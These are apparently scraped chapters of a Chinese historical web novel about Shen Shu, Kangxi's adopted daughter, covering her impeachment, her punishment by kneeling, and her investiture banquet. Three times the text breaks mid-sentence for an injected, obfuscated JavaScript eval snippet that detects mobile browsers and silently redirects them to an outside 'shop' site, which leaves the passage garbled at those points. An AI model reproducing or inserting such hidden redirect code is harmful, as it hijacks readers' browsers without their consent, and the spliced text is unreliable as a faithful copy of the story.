这些族人不是什么好东西,必定是欺负过她! 否则怎忍心让她一个孤女千里迢迢的进京告状,又怎么会如此败坏她的名声? 现在舆情盛大,四阿哥也没有什么好办法,他相信沈姝所言。 可那毕竟是她的长辈,总不能把这些人都抓起来严刑拷打,这样反而会把事情闹得更糟糕。 此事就看皇上信不信…… 沈姝这脾气,四阿哥很了解,所以不得不提前为她分析劝解,“如果被弹劾,皇阿玛应该会容你辩解。你可莫要再顶撞皇阿玛,就乖乖的认个错服个软。 你已经贵为公主,与沈氏并无更多关联,所以也不要再计较太多,因为皇阿玛可能不太喜欢听这些。” 沈姝未置可否的“嗯”了一声,还不知道康熙会怎样,所以她无法保证自己一定会怎样。 见她这副态度,四阿哥就有些担心,不禁又继续劝道:“这事闹得沸沸扬扬,皇阿玛肯定要给出一个交代,你就配合着让此事过去即可。” “嗯,多谢四哥提醒。” 沈姝点头表示自己听到了,这事罪不至死,相信康熙还不至于因为此事就会杀了她。 其实四阿哥也猜测此事的背后主谋应该是太子,毕竟那天他就在场。 虽然不知道沈姝跟太子之间发生了什么,但以她的性子,必定是早已惹怒了太子,所以才会遭到报复。 相比沈姝的无所畏惧,四阿哥心底里为此担忧不已。 53.第 53 章 果然,数日后御史终于弹劾了沈姝的不孝。这次没有十五道御史的大阵仗,但京师已经满城风雨。 “啪”的一声,康熙把手中的折子丢到御案上,语气中带着薄怒,“朕认了一个义女,连册封典礼都还没举办,民间就已经议论纷纷了?” 他还没有老糊涂,当然知道此事是有人在背后推波助澜。 弹劾的御史跪在地上,义正词严的回道:“皇上一向宣扬孝道,本朝也以孝治天下,自古以来人皆向孝,故而不孝之举才令人义愤填膺。 五刑之属三千,罪莫大于不孝,恳请皇上查明此事,以平民愤!” 御史言罢,又有大臣出列奏请彻查此事。 八阿哥心知这些人都是在以民意裹挟逼迫皇上给出一个交代,之前他已经劝过沈姝,可结果呢? 所以彻查就是定罪! 他还在生气中,反倒是想看看她到底想怎样! 四阿哥因受伤在家养伤,所以没来上朝。 即便是他在这里,也不会再像上次一样提议说让沈姝自辩。 因为这不是自辩能解决的事情,而是需要她服软认错,然后再看皇上的心情。 不过四阿哥觉得皇上刚册封了沈姝,现在就有人挑事说她不孝,这等于是在打皇上的脸。 皇上应该是对这种弹劾的行为更生气。 至于沈姝,四阿哥觉得皇上应该还不至于因此而褫夺她刚得封的公主身份。 因为这样属于是皇上自己打自己的脸,所以他才会劝她要低头服软,只要配合着给出一个交代,这事就算过去了。 不得不说,四阿哥确实猜中了康熙的部分心思,康熙对此事的处理方式就是随便给出个交代即可。 沈姝现在是他的女儿了,凭什么还要向沈氏尽孝? 当然是要向他尽孝! 即便是这次没有人为沈姝说话,康熙也直接压下了弹劾。 没有把沈姝喊过来当众问话也没有令谁来查办此案,而是退朝后才着李德全去宣她进宫。 这次李德全来喊沈姝的时候,态度明显与以往不同。不仅是多了些许恭敬之意,甚至还主动透漏了口风。 “公主,今儿个早朝御史弹劾您与沈氏族人的事情,所以皇上才宣您进宫问话。” “多谢李公公告知。” 沈姝对李德全表达了谢意,虽然不知道这话是他自己想说的还是皇上的授意,但这说明弹劾一事并不是什么大事。 要真是大事,李德全不至于如此释放善意。这样沈姝心里就有底了,那就再跟康熙极限拉扯一番。 不是有句话说的是“会哭的孩子有糖吃,懂事的孩子没人疼”嘛,所以她想试试这句话是否可信。 这事怎么处理康熙已经有了想法,所以看到沈姝过来直接问道:“听御史说沈氏的族人来京找你,你把人给赶出了门?” 说实话沈姝跟沈氏的关系不好,对于他来说算是好事。 因为他希望沈姝做一个类似于“孤臣”的“孤女”,而不愿意看见她跟沈氏的族人勾连在一起。 所以看到御史的弹劾,康熙根本一点儿都不生沈姝的气。 而且还能猜到,沈姝之所以跟沈氏关系差,这其中必有缘由。 听这语气不像是生气的样子,沈姝回答道:“回皇阿玛,儿臣的祖父临终前留有亲笔所写的断亲文书。 虽文书已被沈氏族长撕毁,但儿臣自认与沈氏已断亲。” 这话是实话,不过是隐瞒了原主的祖父因何而死,因为不想让眼前之事复杂化。 康熙也并不想细问这些,在他看来,现在沈姝已为公主,那么自然要割舍掉之前的关系。 之前种种原本就不重要,重要的是现在要把这件事情给解决掉。 又听沈姝这么说,他没有多说其他,而是吩咐道:“此事已引起舆论,即便是你与沈氏有龃龉,也要放下心结。 朕的意思是你与沈氏族长当众解开误会,平息此事。” 康熙的意思是让沈姝逢场作戏,让百姓们都看看即可。 到时候谁再因此而议论沈姝不孝,那就直接治罪。 至于沈氏族长不配合? 不存在这种可能性! 他会派人前去敲打一番,除非沈氏阖族都不想活了! 沈姝明白康熙的意思,可就是不想这么容易就服这个软。 原主的仇人就是她的仇人,即便是跟沈氏族长虚以逶迤,她也不愿。 断亲就是断亲,这虚情假意的戏她也不想多做! 她就是这么想的,也要这么做,还要在此亮出自己这块爱憎分明的人设招牌。 因为给谁当女儿都要“尽孝”,就像太轻易得到的东西,总是不被珍惜,过于体贴的孝心也是一样的不值钱。 沈姝并不喜欢算计,可在她与康熙的“父女”关系中,需要算计。 她并不愿成为一个事事都俯首帖耳的“女儿”,康熙最多算是她工作中的领导或者说是她的投资人,对领导或投资人难道也要尽孝心? 算了吧! 双方之间的关系应该是利益关系,而不是她一味的“尽孝”。 康熙要是这么想,那就得让他改变一下想法。当然现在属于是提前打打预防针,表明自己不是那种轻易会受委屈的人! 所以沈姝故意的跟康熙对着干,开口就是一句,“于此事上,儿臣与沈氏之间没有误会。” “顺和!” 康熙一听这话果然开始生气,他知道沈姝性子执拗听不进去劝,上次就是这样。 不过这次他没有动怒,而是想要磨磨她这桀骜的性子。 于是说道:“朕赐你“顺和”二字,合乎心意为顺,恰到好处为和。为人应贤而有材,志刚而气和。 你看看你,这是什么样子?去外面跪着,好好反省反省!” 他哪个女儿是这般模样? 简直是比儿子还不省心! 得亏这不是个儿子,否则就不是跪到外面去反省了,而是像十四阿哥那样挨打! “儿臣领命。” 跪就跪,沈姝转身就出去外面受罚了。 什么都要靠自己主动争取,她能争取的方式就是不轻易服软。 因为知道康熙对自己有一定的容忍度,所以她会把握着尺度,试着为自己争取。 康熙见状朝一旁的李德全气呼呼的说了一句,“朕这些儿子没几个能让人省心的,认的这个义女也是这般的不体贴!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125603|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李德全跟随康熙多年,知道这般语气并不是真的生气。 事实上康熙有时候也像民间的父亲一样,喜欢哪个孩子就整日里念叨个不停,而且对心爱的孩子溺爱至极,比如对太子。 亲生的儿女这么多,时常能被念叨的才有几个? 若是不上心,记都记不住,又怎么会念叨呢? 李德全把这话归为康熙的念叨,他可不敢顺着来说沈姝这个义女的坏话,而是小心翼翼的搭着话:“顺和公主性子是倔了些,但年纪尚小,还得皇上您多调教调教。” 康熙也是这么想的,正是因为怎么说教她都听不进去,所以才会罚跪沈姝。 若是她肯服软,就不用罚了。 就这样,沈姝跪在南书房外面。 现在正值农历十一底,外面天色昏沉欲雪,冷飕飕的风呼啸不止。 青石板的地面又冷又硬,跪在上面的滋味并不舒服,可沈姝不愿意轻易低头。 康熙一直在等沈姝服软,一直等到晚膳时忍不住的问了李德全一声,“她还在外面跪着?” 他记得沈姝来的时候是早朝刚结束,也就是巳时刚过。现在是晚膳的时候,也就是午时,这跪了得有一个多时辰了。 “是啊皇上,您看这外面天寒地冻的……” 李德全的意思是想提醒一下康熙,别回头沈姝冻坏了他又心疼。 康熙看向门口的方向,朝李德全说道:“你去问问,看看她现在可有什么要说的没有?” 出了暖阁,李德全被寒风吹的打了个哆嗦,走到沈姝跟前弯腰劝道:“公主,您就给皇上说句软话吧! 您这么跪着,受罪的可是自己个啊……” 跪了这么久,沈姝也冻的直哆嗦。 就是挨罚而已,又不是拖出去砍头。 都跪了这么久了,行百里者半九十,反正她不能率先服软。 今天要是服软了,以后每次都得被逼迫服软! 面对李德全的劝阻,沈姝哆嗦着说道:“我……与沈氏……没有误会。” 李德全见状摇摇头,现在他开始同情康熙了,因为沈姝的性子太倔了! “皇上,公主她还是坚称与沈氏无误会。” 听李德全回来这么说,康熙把手中的奏折丢在桌子上,没好气的说道:“那让她继续反省,朕倒要看看她能倔到什么时候!” “……” 李德全不知道该说什么,干脆闭嘴保持沉默。 他知道康熙的性子其实也很倔,现在两个人这样子跟在赌气差不多。 但这话他可不敢说,那就要看谁能倔得过谁了。 李德全只好暗中交代外面的小太监时刻注意着沈姝的情况,万一真出个什么意外,到时候被殃及的肯定是他们这些奴才。 晚膳后,康熙休息了半个时辰,醒来后发现李德全并无事禀告,不禁眉头微皱,觉得沈姝比十四阿哥还任性! 听四阿哥说十四阿哥被圈禁后,现在已经反省过了。所以他觉得沈姝还是需要再多反省反省才行,她这性子实在是太差了! 康熙是觉得真到了受不住的时候,沈姝自会服软。 可他没想到沈姝对自己,那是真狠,她能跪到晕倒才算完事! 54.第 54 章 到申时初,已经跪了快三个时辰的沈姝终于晕倒在地。 门口的太监见状连忙进去报信,李德全得信儿后立刻说道:“皇上,顺和公主晕倒了。” 康熙闻言皱眉,先是吩咐道:“把人抱进来,去请太医。” 顿了顿又道:“她可真是犟得狠!” 虽然对沈姝的不顺从不喜,但康熙确实没打算要苛待她,只是想要以责罚来扭扭她的性子。 现在人都晕倒了,纵使是生气也不能再罚下去。 太医过来诊脉之后禀道:“公主乃风寒入体引发虚热,需静养,勿要再受寒。” 这是宁愿冻到生病也不愿意服软,康熙的女儿中没有这种性子的。 就算是儿子中,这么倔的也少有! 任何人使性子闹脾气都是有所求,如此这般总得有个缘由,他想知道为什么? 所以康熙对太医说道:“你留下伺候,待公主醒了再禀告。” 于是沈姝因受寒发热晕倒被暂且安置在南书房隔壁的卧榻上,原因是太医的话,说她不宜再受寒,所以康熙就没再来回折腾的把她送到其他宫中。 当然,还有一部分原因是作为半路的公主,她在宫中并没有居住的地方。 沈姝再次醒来是被热醒的,睁开眼发现自己躺在榻上,还盖着明黄色的被褥。 其实她并没有昏睡多久,也就一个时辰左右。 见她醒来,守在榻边的太医随之上前问道:“公主您醒了,可是还有什么不适?” “鼻塞、头晕、腿疼……” 沈姝觉得自己这症状应该是风寒感冒,毕竟在外面冻了那么久。 至于腿疼,那是跪久了。 “您的症状是风寒入体,服用汤药之后数日即可痊愈。” 太医又为沈姝诊脉之后便吩咐太监去把正在熬煮的药端过来,而后自行去向康熙禀告。 太监很快端来了汤药,褐色的一碗,闻起来味道就很正宗。 正宗到不用喝就知道味道一定好不到哪里去! 端着这碗药,沈姝无限怀念后世的片剂。 甚至她已经开始在回想应该如何合成对乙酰氨基酚这种后世常见的感冒药主要成分,不过很可惜,只有化学式是没有用的,还要原料。 沈姝没有喝这种中药的经验,这还是第一次。轻抿了一口,味道销魂,难以形容…… 康熙进来的时候正好看到她对着汤药愁眉苦脸的模样,不禁哼了一声,“朕还当你真是天不怕地不怕的!” 沈姝扭头看向康熙,脑袋里在想嬷嬷教的,她这个时候是该有什么规矩? 见沈姝放下汤药,康熙说道:“免礼,赶紧把药喝了吧。” 于是沈姝又转过头端起汤药,酝酿了三秒钟而后皱眉闭眼一口闷,闷完之后是一阵的反胃。 看着她皱成一团的脸,康熙斜坐在榻旁,淡淡的问道:“知道苦了?还要再去外面挨罚吗?” 沈姝没有回话,硬的已经试过了,看来不太行。 再去外面跪着挨冻,就这医疗条件,说不定一场重感冒连命都没了。 硬来不行,只能来软的试试了。 沈姝木着脸,轻垂眼帘,未语泪先流。 带着哭腔说了一句,“爹娘还有祖父若是在,定不会让他们这么欺负我……” 见沈姝突然就哭了,眼泪“啪嗒啪嗒”的像下雨一样滴在了被褥上,又听到这么一句满含委屈的话,康熙不禁有些沉默。 他以为沈姝会犟嘴,结果却是哭了。 她一直都是那种咄咄逼人的模样,没有想到居然还会哭,哭的让人有点儿不适应…… 这话听在耳朵里,更像是一种抱怨,抱怨他这个义父不如亲生父母,甚至连祖父都比不上,对她不够怜惜疼爱。 若是自己的儿女胆敢表露出这个意思,康熙必然大怒。 为子女者,怎能对父母心生怨意? 可沈姝毕竟不是他的女儿,认她为义女也不过是出于各种考量。 但义父也是父,康熙在想自己这个义父究竟应该怎么当才好? 要是儿子…… 不,他的儿子没有这种哭哭啼啼的。 但女儿也没有胆敢如此顶撞他的。 沈姝的性子让康熙觉得头疼,对于十四阿哥这个任性的儿子可以打一顿关禁闭。 可对于沈姝这个义女,罚跪已经算是很严厉了,但显然是没有什么作用。 圈禁就算了,关起来之后谁来负责染料还有肥料? 若是可以,康熙还是希望沈姝能为他这个义父尽孝心。 《礼记》有云,父慈,子孝。 康熙觉得硬的不行,那就来软的试试。 如果他愿意做一个“慈父”,希望沈姝会是一个“孝女”。 想到这里康熙从袖口中掏出随身携带的手帕递给沈姝,“擦擦,这么大了还哭鼻子。” 看着眼前的明黄色帕子,沈姝知道自己赌对了。 发生争执时,不是东风压了西风,就是西风压了东风。 本来就是,康熙非要当她的义父,那就要付出点儿为父的责任和义务,不能什么都让她让步。 当然如果这样不行,那她就只能先低头再论以后。 而现在,应该是康熙愿意让一步。 “……儿臣多谢皇阿玛体恤。” 沈姝接过帕子擦了擦眼泪。 要说不委屈,不可能的! 谁在外面被罚跪这么久不委屈? 康熙见状叹了口气,“你既与沈氏一族如此不睦,朕便不再勉强。此事朕会压下,但以后你莫要再如此任性。” “真的?” 沈姝抬头看向康熙,脸上露出意外之色,主要是没想到哭一下就能轻易解决问题。 康熙看着沈姝,意味深长的说道:“若是执意勉强,怕不是你觉得朕这义父不称职。虽然你为义女,朕亦希望是父慈子孝。” 就坡下驴,康熙都这么说了,沈姝便垂首回了一句,“儿臣不孝,请皇阿玛责罚。” 其实就是意思意思,她料想自己不会再因此而挨罚。 “行了,再歇会儿,天黑前让李德全送你回去。” 康熙说罢站起身来,弹劾的事情有另外的解决办法。 既然沈姝不愿意配合,那就让沈氏配合。 至于沈氏会不会不配合? 不管是谁在背后挑事,为了压下弹劾之事康熙都不会心慈手软。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132617|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为沈姝所说的那些,正是他想要看到的。 小半个时辰后,李德全捧着一件黑色貂皮大氅过来了,他身后还跟着两个小太监,都是手捧着东西。 “公主,外面开始下雪了,皇上怕您回去时受寒,特意让奴才把这件裘皮大氅带过来让您披着,这可是皇上平日里穿的!” 李德全满脸笑容的说着,现在是皇上服了软,由此可见沈姝的受宠程度。 这也不比亲生女儿差! 除此之外还有,李德全继续说道:“皇上不仅让太医抓了几副药,还赐了您一些蜜饯,说是您喝完药可以甜甜嘴。 所以您呐,以后可别再惹皇上生气了!” “多谢皇阿玛体恤,儿臣不胜感激。。” 打一棒子给个甜枣,沈姝觉得康熙这手恩威并施玩的溜。 不过说实话,这些东西还算是贴心,贴心到有点儿出乎意料。 沈姝下了榻,李德全亲自给她披上大氅。 外面天色昏沉,寒风凛冽,雪花飘落。 这是今年的第一场雪,貂皮大氅抵御了刺骨的寒风,御寒效果不错。 坐着轿子回到十四阿哥的庄子上,李德全带着裘皮大氅离开后。沈姝很快半卧在床上盖着厚厚的被子,因为太冷了。 屋里半个月前就已经燃起了炭火,但没有暖气的室内,依然没有太多的热气。 这都下雪了,栓子还没有从山西平遥回来,沈姝问顺子,“栓子他们应该快到了吧?” “算算日子,应该是快到了。” 顺子也有些担心,这都下雪了,若是大雪封路,那就麻烦了。 不过他嘴上没有说,而是禀报着手里的事,“您别担心,他们早晚会到的。 咱们人手还够用,染坊里的短工我先让他们去卖焦炭了。” 一个月的期限马上就要到了,染坊和布店还有绸缎铺自然也开不下去了,所以新的生意也必须要有个准备了。 沈姝想了想吩咐道:“染坊很快就要关停,接下来我打算再开一个作坊。 如果栓子带人过来了,那这些短工就不需要这么多了。 现在也快过年了,等遣散他们时让他们每人都领回去一百斤的焦炭。 另外多给他们发一个月的工钱,就算是遣散费。” 顺子点头记下,而后问道:“您打算开什么作坊,需不需要提前准备一番?” 在前些天得到康熙的默许之后,沈姝就在考虑做什么生意好。 考量的标准有两个,那就是这个生意必须是康熙看不上,而又能赚钱的。 如果他看得上,肯定会被内务府收走。 思来想去,打算合成甘油,因为甘油可以做护肤品和化妆品的生意。无论是口红还是面霜等,均含有甘油成分。 没有打算研制什么高端护肤品,沈姝想做的就是基础的保湿美容产品。 这种女人的生意,她觉得康熙肯定看不上,应该会允许。 甘油的合成很简单,即便没有石油作为原料,用动植物油即可。 只是现在沈姝顾及不上,所以说道:“过些天再说,这个不急。” 再过几天就是她的册封典礼了,还不知道十四阿哥什么时候能被放出来? 55.第 55 章 雪后两日,栓子带着丁氏族人三十余口自山西而来。 对于如何安置这些人,沈姝没有过多操心,只管把钱给足。 就连同借过来一起过去山西接人的十四阿哥的侍卫,她都让顺子每人给发了三十两银子。 听顺子说,那几个侍卫拿到银子高兴的合不拢嘴。 就在栓子他们回来的同时,沈氏族长等人来京之人已经被人提点,确切的说是威逼。 同他一起来的儿子已经被请去提前体验刑部大牢的生活了,至于什么时候能出来则是要看他的表现。 而接他们来京之人却在这关键时刻避而不见,沈氏族长这才意识到不仅对方许诺的钱财全都落空了,现在还有性命之忧。 此时此刻,沈氏族长才后悔来这一趟。 他不得不按照这人的交代咬死了是自己诬告沈姝,而且还要自行宣传出去。 而京城茶馆里的说书人,一夜之间全都变了口风,改说起了沈氏族长诬告公主的故事。 并且还讲的还远比公主不孝的故事更精彩,这其中还夹杂了千色布店以及如意灯的事情,为得就是沈姝的名声。 这些都是康熙的授意,翻云覆雨,不过如此! 得知舆论风向一百八十度大转弯后,沈姝不得不感慨,果然是皇权特效,这办事效率和效果,简直是无以伦比! 太子胤礽因此而暴躁不已,在府中胡乱打砸了一通,但也只能生生闷气罢了。 他深刻的体会到一个道理,那就是储君只能是储君,这天下终究还是皇上说了算。 四阿哥则是放下了心中的担忧,虽然不知道沈姝是怎么做到的。 八阿哥因此而觉得沈姝在皇上心中的份量着实不轻,而太子想必已是她的死敌! 这么一番操作下来,在沈姝的册封典礼之前,她的知名度暴涨,名声好了许多。 她的风寒感冒也算是识趣,拖拉了七八天才算痊愈,正好赶在了十二月初九之前。 十二月初九的册封典礼之日,一大早的两位嬷嬷就不厌其烦的反复交代相关流程。 而且从天不亮开始沈姝就被化妆穿衣折腾个没完,两个嬷嬷都怕她册封时出什么差池,没完没了的叮嘱。 主要是因为这一个月时间,沈姝都没有几天是好好练过礼仪规矩。 之前是因为偷懒,之后是因为生病,所以嬷嬷怕她会一不小心出了丑! 不过沈姝脸皮厚,倒是不担心这个。 出丑又怎样? 顶多被满场的老封建取笑罢了! 所谓的册封典礼,其实很简单。 因为沈姝并非宗室女,仅仅只是皇上认的义女。 与其说是册封典礼,倒不如说是大型认亲宴。其实就是把沈姝拉出来让宗室们看看,这就是皇上新认的义女。 所以册封典礼是在保和殿举办的,这里原本就是宴请王公贵族或文武大臣的场所。 不过今日参加之人皆为宗室,包括亲王、郡王等及其嫡福晋,还有部分皇子皇女。 沈姝所要做的就是按照规矩露个面,然后同其他新认的亲戚们一起陪着皇上用个晚膳就算完事。 宗室们对康熙如此大张旗鼓认义女的举动表示不能理解,有这个必要吗? 但这义女不入玉牒,算不得宗室女,所以他们也不好多说什么,就当是陪着皇上一起乐呵乐呵。 一切收拾妥当之后,沈姝进宫。 保和殿前的台阶比乾清宫低得多,但穿上花盆底之后真是一个台阶都不想上。 沈姝的腿之前在南书房外跪了那么久,现在膝盖上的淤青还没有散。 再穿上这高达十公分左右的花盆底,走起路来颤颤巍巍的。 当然,这在嬷嬷眼里应该算是摇曳生姿。 但沈姝的感觉是摇摇欲坠,上台阶时若不是有嬷嬷扶着,她怀疑自己会摔倒。 到了殿外,取下斗篷,沈姝独自进殿。 此时的太和殿里,应到之人已经到位,满满当当都是人。 康熙高坐在主位之上,其他人等男左女右,分列两侧。 随着一声通传,众人的目光皆看向殿门处。对于沈姝这个名字,更多的人是只闻其名,还未得见其人。 只见进来的这女子,身着秋香色蟒袍,服饰与和硕公主并无二致。 而此女,缓缓走来,虽面色沉静却不掩明艳不可方物之姿。 不少人都听闻此女乃十四阿哥的外室,但却被皇上认为义女…… 而今日,被圈禁的十四阿哥没有出席。 这其中究竟是有何缘由,即便是不明真相的人也不敢多嘴。 看着沈姝从殿外走来,一步步走近。 四阿哥目光追随,满眼都是她。 而沈姝顺着红毯,未至御座之前,忽然膝盖一软,向前摔倒在地。 因为腿疼,这些天都没练习过,结果现在就出丑了! “……” 原本是美人莲步生姿,忽然就滚落在地狼狈不堪,变故有点儿突如其来的滑稽。 殿内响起细碎的讥笑声,不知道是何人。 康熙的脸色因此变得难看,因为沈姝丢脸,丢的是他的脸面! 正待开口,就听趴在地上的沈姝高声道:“儿臣给皇阿玛行大礼,没有皇阿玛就没有儿臣的今日。 儿臣感激涕零,祝愿皇阿玛洪福齐天,寿与天齐!” 康熙微微一怔,随即笑着轻斥了一句,“你的大礼行的不标准,以后别偷懒,跟着教导嬷嬷好好学学。” 而后道:“既已为公主,当恪守忠孝礼仪。虽为义女,朕亦不会亏待你,特赐公主府一座。” 顿了顿又道:“今日为家宴,没有那么多繁文缛节,起身吧。” 接着朝李德全吩咐了一句,“去扶公主起身入座。” 沈姝毫不脸红的高声应道:“儿臣谨遵皇阿玛教诲!” 在场的其他人不禁暗道:“这也行?” 不行也得行,皇上不仅没有生气,看起来还挺高兴。 听说这位顺和公主伶牙俐齿,今日一见,果然如此! 尽管未入玉碟,仅从今日之势便可窥得皇上对这个义女的重视。 四阿哥不禁失笑,没想到沈姝连册封典礼都能出岔子。还好她机敏应对趁机表了孝心,不然皇上肯定要生气。 因为皇上好面子,但更重孝顺。 沈姝入座后,宴会很快开始。 接下来没有再出什么岔子,也没有人不长眼的在这种场合生事。 整个大殿里都是人,除了些许认识的,其他人沈姝都不认识。 她的位置离御座比较远,位次似乎是按辈分排的。因为四福晋在八福晋之前,八福晋又在十四福晋之前。 沈姝旁边坐的是十五福晋与十六福晋,这两位的年龄看起来都好小。 这些以后也算是亲戚了,属于是见面需要打招呼的那种关系。 宫宴也就是吃吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149429|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝喝外加看看歌舞表演,对于沈姝来说乏善可陈。 小半个时辰后,宴会仍无结束的迹象,沈姝起身随着宫婢去恭房,出来的时候正好碰到十四福晋。 因为十四阿哥被圈禁,十四福晋的心情非常不好。 尤其是今日,旁人都是夫妻相携而来,她却是形单影只。 而造成这一切的罪魁祸首,就是沈姝! 今日,若不是怕得罪皇上,她根本就不想来! 当面碰上沈姝,十四福晋挥退左右,冷着张脸说道:“你今日倒是风光无限,可曾想过十四爷还在受苦?” 看着明显憔悴的十四福晋,沈姝淡淡的说道:“十四哥应该很快会出来。” 这是猜测,如她这个罪魁祸首的义女都获得的了封赏。而十四阿哥这个亲生儿子,应该不用关太久吧? 对于十四阿哥,沈姝心存感激,还有……愧疚! 听沈姝这么说,十四福晋盯着她,一字一句的说道:“希望你记住自己的身份,是他的妹妹!” 沈姝不愿意在这种地方跟十四福晋闹矛盾,点头应道:“多谢提醒。” 十四福晋也不愿多看沈姝,没有再多说什么,错身离开。 沈姝站在廊檐下,心情算不上好。 她确实有点儿担心十四阿哥,不知道他的伤怎么样了? 见十四福晋已经离开,而沈姝却站在廊檐下发呆不肯离去,之前就暂避在一旁的四福晋不得不走了过来。 她并非是有意偷听,而是从恭房出来一转弯看到这两个人对上了,就下意识的避让。 其实四福晋有些好奇,因为她知道十四阿哥心悦沈姝。如果不是这样,十四福晋不可能对沈姝如此有敌意。 可现在沈姝却被皇上认为义女,真是世事难料,令人感慨! “顺和,你怎么在这里吹冷风?” 四福晋装作刚走过来的模样,主动打了声招呼。 沈姝并没有发觉四福晋的偷听,微笑着解释了一句,“四嫂,我在这里透透气。” 四福晋觉得沈姝可能是对十四阿哥尚有情意,否则刚才不会是那副失意的模样。 宫里人多眼杂,如此这般并不好,所以她暗劝了一句,“天寒地冻,当心受凉,早些进去吧。” “嗯。” 沈姝点头,两人一同重新入席。 宫宴结束后,回到府中,想到今日偷听之事,四福晋不禁问向四阿哥,“爷,十四弟与顺和成了兄妹,若是他们之间情意未断……” “福晋慎言!” 四福晋的话还没说完就被四阿哥厉声打断。 他的语气和表情都突然变得很是可怕,吓得四福晋有些不知所措,连忙低头认错:“是妾身失言了!” 四阿哥也意识到自己有些失态,因为四福晋所说是他不愿意看到的可能性。 沉默片刻,平复情绪之后,他的声音很是冷淡,“这不是你应该操心的事情。” “妾身知道了。” 四福晋有时候会觉得委屈,因为四阿哥什么事情都不跟她说。 比如他的胳膊为什么会受伤,再比如刚才的闲话,不知道为什么就莫名其妙的惹怒了他…… 不过他一向如此,让人琢磨不透。 四阿哥有点儿烦躁,因为猜测皇上应该快要放十四阿哥出来了。 因为沈姝的册封典礼已过,总不可能一直关着他。 不得不说,四阿哥与沈姝都猜对了。 56.第 56 章 沈姝的册封典礼过后,康熙就让人把十四阿哥从宗人府提了出来,亲自问话。 “胤祯,这些天你是否知错?” 这一个月时间,自四阿哥劝说之后,十四阿哥确实反思了很多。 他不仅知道现在皇上根本不想沈姝嫁给任何一位阿哥,还知道皇上依然宠溺太子,更知道若是继续跟皇上硬扛下去就会被一直圈禁。 但他依然不认为自己当时不应该硬闯太子府邸,所以垂首回道:“儿臣行事莽撞,请皇阿玛责罚。” 对于十四阿哥的所作所为,康熙是生气,但不是鄙弃厌恶。 无论是为沈姝出头顶撞自己被杖责后依然为她在殿外大喊大叫,还是为她硬闯太子府邸,这些在康熙看来都可以称作是重情义有血性的表现。 因为他并不希望看到自己的儿子是那种贪生怕死的懦弱之人,若是见自己钟意的女人被欺负还畏首畏尾的不敢出头,那还算是男儿吗? 沉溺于儿女情长固然不可取,但若是一丁点儿的男儿血性都没有,才更叫人失望! 所以康熙的责罚目的是想让十四阿哥知道轻重,并且顺从自己的心意。 或者准确的说,他要的是必须先有一个态度,再以观后效。 见十四阿哥认错,康熙没有再揪着前事不放,转而又说起了沈姝的事情,想试探一下他的反应。 “朕已经认沈氏为义女,封和硕顺和公主,以后你们就是兄妹了。” 此事之前四阿哥已经提过,所以十四阿哥垂着眼帘回道:“儿臣恭喜皇阿玛,日后必视沈氏为兄妹。” 康熙对十四阿哥的回答还算满意,至少这个态度是有了。 折腾了这么久,接下来还要安抚一番,他直接说道:“你年纪也不小了,是该找点儿事做做了。 朕记得你自幼喜读兵书,这样吧,朕封你为贝子,即日起去兵部行走。” 十四阿哥听罢叩首谢恩,“儿臣必不让皇阿玛失望。” 他觉得贝子的封赏以及安排差事不过是对把沈姝从自己身边夺走的安抚和补偿。 可为什么要把沈姝夺走,是因为她价值太大,所以他不配吗? 当然这话十四阿哥不能问也不敢问,但心里对如此的封赏并无半点欣喜。 从宫里出来后,十四阿哥很想立刻马上去看看沈姝,可却不敢,怕被皇上知道后怪罪。 这个时候他应该做的事情是直接回家,而不是迫不及待的去见“妹妹”,这才是一个兄长应该做的事情。 十四阿哥被放出来了,还被封了贝子,领了差事。 这个消息很快就传了出来,八阿哥他们得知后就一起去看望十四阿哥。 “十四弟,恭喜啊!” 八阿哥很为十四阿哥感到高兴,他们兄弟这么多,能被封赏的只是少数。 上一次封赏阿哥们还是在九年前,那次只封了大阿哥、三阿哥、四阿哥、五阿哥还有七阿哥还有他六人。 而这次是单封了十四阿哥,而且起步就是贝子。再说还让领了兵部的差事,这可是大大的好事。 然而十四阿哥面色平静,看不出来什么喜悦之情,只是淡淡的说道:“不过算是因祸得福罢了。” 八阿哥一直都想知道十四阿哥被圈禁的原因,见状便问道:“十四弟,你之前究竟是怎么惹怒了皇阿玛?” 十四阿哥没有多说,但透露出来一个缘由,“是跟太子起了些冲突,都过去了,咱们不说这些扫兴之事!” 之前沈姝瞒着,现在十四阿哥也只说了这么些。八阿哥不好再多问,因为十四阿哥不想说的,问了也未必肯说。 于是便跟着附和了一句,“都过去了,还好你这次能够化险为夷。” 九阿哥则是拍了拍十四阿哥的肩膀,“别愁眉苦脸了,哥哥我还给你准备了贺礼。 